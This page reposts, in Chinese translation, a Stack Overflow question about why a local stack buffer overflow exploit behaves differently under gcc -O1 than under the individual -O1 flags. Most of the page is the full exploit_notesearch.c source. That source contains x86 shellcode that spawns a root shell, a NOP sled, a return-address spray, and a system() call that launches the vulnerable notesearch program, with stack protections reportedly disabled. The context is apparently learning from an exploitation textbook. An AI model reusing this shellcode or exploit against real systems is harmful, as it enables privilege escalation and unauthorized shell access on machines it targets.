gpt4 book ai didi

c - gcc:使用 -O1 并拼写 -O1 选项会导致不同的结果(一个有效;一个无效)

转载 作者:太空狗 更新时间:2023-10-29 15:07:15 31 4
gpt4 key购买 nike

<分区>

在处理堆栈溢出时,我注意到只有在使用“-O1”编译它时才有效。为了了解哪个选项造成了差异,我手动输入了 -O1 选项(取 self 的版本的 page,这与我在我的机器上检查 man gcc 时发现的一致).但是,该程序再次不起作用。

在仅使用 -O1 编译后,我确实注意到这可能没有帮助的警告输出:
exploit_notesearch.c:31:10:警告:忽略“system”的返回值,用属性 warn_unused_result [-Wunused-result] 声明

有什么想法吗?别人pointed the difference out在一个旧的 SO 问题中,但它仍未解决。

数据:
- Ubuntu 12.04
- 海湾合作委员会 4.6.3.
- x86 32 位
- 一个 C 程序

注意:关于溢出工作,我已经禁用了所有我知道的可以防止溢出的东西(金丝雀、ASLR、execstack、堆栈对齐)。

代码(可能与问题无关)。这个函数调用了另一个我可以发布的函数;但我认为这无关紧要(将根据要求):

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";

int main(int argc, char *argv[]) {
unsigned int i, *ptr, ret, offset=270;
char *command, *buffer;

command = (char *) malloc(200);
bzero(command, 200); // zero out the new memory

strcpy(command, "./notesearch \'"); // start command buffer
buffer = command + strlen(command); // set buffer at the end

if(argc > 1) // set offset
offset = atoi(argv[1]);

ret = (unsigned int) &i - offset; // set return address

for(i=0; i < 160; i+=4) // fill buffer with return address
*((unsigned int *)(buffer+i)) = ret;
memset(buffer, 0x90, 60); // build NOP sled
memcpy(buffer+60, shellcode, sizeof(shellcode)-1);

strcat(command, "\'");

system(command); // run exploit
free(command);
}

31 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com